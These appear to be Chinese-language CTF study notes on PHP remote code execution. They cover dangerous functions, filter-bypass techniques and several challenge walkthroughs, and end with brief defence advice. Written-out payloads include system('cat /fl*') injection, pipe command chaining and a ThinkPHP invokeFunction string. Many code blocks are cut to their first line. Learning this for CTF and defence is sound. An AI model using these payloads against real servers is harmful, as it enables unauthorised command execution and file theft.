RCE漏洞
RCE漏洞
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;
常见RCE漏洞函数
系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
- system(“cat /flag”)才能读取flag,不要把双引号漏掉!!!
- get传参的时候不用使用引号
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显),但不会输出;
- exec()不会回显,所以需要输出到文件中进行查看
- 可以使用
exec(ls / | tee 1.txt)
,然后输入网址/1.txt
来查看
shell_exec():能将字符串作为OS命令执行
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号:反引号
内的字符串会被解析为OS命令;
代码执行函数
eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
RCE绕过
空格过滤
以下可代替空格 | ||
---|---|---|
< | <> | %20(即space) |
%09(即tab) | $IFS$9 | ${IFS} |
$IFS | {cat,/flag} |
反斜杠\绕过
1 | //如cat、ls被过滤,使用\绕过 |
取反绕过
1 | //取反绕过 |
异或绕过
1 | # 异或构造Python脚本 |
1 | //异或php脚本 |
1 | //简单例题:flag在phpinfo()中,需要执行php命令:phpinfo(); |
自增绕过
1 | //自增payload,assert($_POST[_]),命令传入_ |
黑名单绕过
1 | //变量拼接,如flag被过滤 |
base和hex编码绕过
1 | //base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令 |
正则匹配绕过
1 | //如flag被过滤 |
引号绕过
1 | //如cat、ls被绕过 |
cat替换命令
more | less | cat | tac |
---|---|---|---|
head | tail | vi | vim |
nl | od | sort | uniq |
strings | paste |
tac | 与cat相反,按行反相输出 |
---|---|
more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 |
less | 与more类似 |
tail | 查看文件末几行 |
head | 查看文件首几行 |
nl | 在cat查看文件的基础上显示行号 |
od | 以二进制方式读文件,od -A d -c /flag转入可读字符 |
xxd | 以二进制方式读文件,同时有可读字符显示 |
sort | 排序文件 |
uniq | 报告或删除文件的重复行 |
file -f | 报错文件内容 |
grep | 过滤查找字符串,grep flag /flag |
回溯绕过
1 | //php正则的回溯次数大于1000000次时返回False |
无回显RCE
利用getallheaders()、get_defined_vars()、session_id等;
无字母数字RCE
异或、取反、自增、临时文件上传;
问号过滤
使用php执行linux命令,即重新写一段php代码。
案例1
源码:
1 |
|
解题流程:
- 问号过滤——script
1 | <script language='php'>system('ls /')</script> |
- 空格过滤——%09
1 | <script%09language='php'>system('ls%09/')</script> |
- flag过滤——通配符
1 | <script%09language='php'>system('cat%09/fl*')</script> |
- 读取文件内容——strings/paste
1 | <script%09language='php'>system('strings%09/fl*')</script> |
"/"被过滤
1 | 127.0.0.1|ls;cd 已知目录;ls;cd...进行绕 |
截断被过滤
1 | 后面:&&(要进行url编码成%26%26) , || , %0a, |
hash_hmac()
语法:
1 | hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = FALSE ] ) : string |
参数说明:
algo:使用的哈希算法,例如“md5”、“sha256”等。
data:要哈希的消息。
key:密钥(字符串)用于对消息进行哈希。
raw_output:如果设置为TRUE,则返回原始二进制数据。否则,默认以十六进制字符串格式输出。
如果$data传入的值为数组,那么就会返回NULL
所以假如$data=$_POST[‘a’];那么令a[]=1即可整个函数的返回值为null
RCE漏洞危害
- 继承Web服务器程序权限,去执行系统命令;
- 继承Web服务器权限,读写文件;
- 反弹shell;
- 控制整个网站甚至是服务器;
RCE漏洞防护
- 对用户的输入作严格的过滤,如白名单策略
- 尽量不适用容易产生漏洞的危险函数
- 保证用户不用控制危险函数的传参
案例
一(你看懂了吗?)
谁帮我看看这段代码什么意思:s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
二(我嘞个豆,直接highlight_file就可以了吗?)
-
页面提示存在代码执行
-
输入
?cmd=system("ls");
没有反应,但是输入?cmd=phpinfo();
却可以执行。 -
可以查看页面下存在哪些文件,输入
?cmd=print_r(scandir("./"));
或?cmd=print_r(glob("*"));
都可以查看目录下文件 -
输入
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
即可获取flag。
三(不是哥们,你过滤的有点多啊?!)
题目源码
1 |
|
此段代码要求cmd不能含有除了p以外的大小写字母和数字,且不能含有特殊字符:$~!@#%^&等等。可以使用的有:p ` ? / + < > =
关键就是自己写一个读取的文件,然后该文件会生成一个临时文件,通过eval($cmd)来读取这个临时文件以来运行读取的文件。
1 | 1.构造cmd:cmd= `.+/??p/p?p??????`,由eval($cmd)来运行临时文件 |
用burpsuite发送POST请求,上传文件(不是呀,为什么纪要上传文件啊?框出的为要修改的部分)。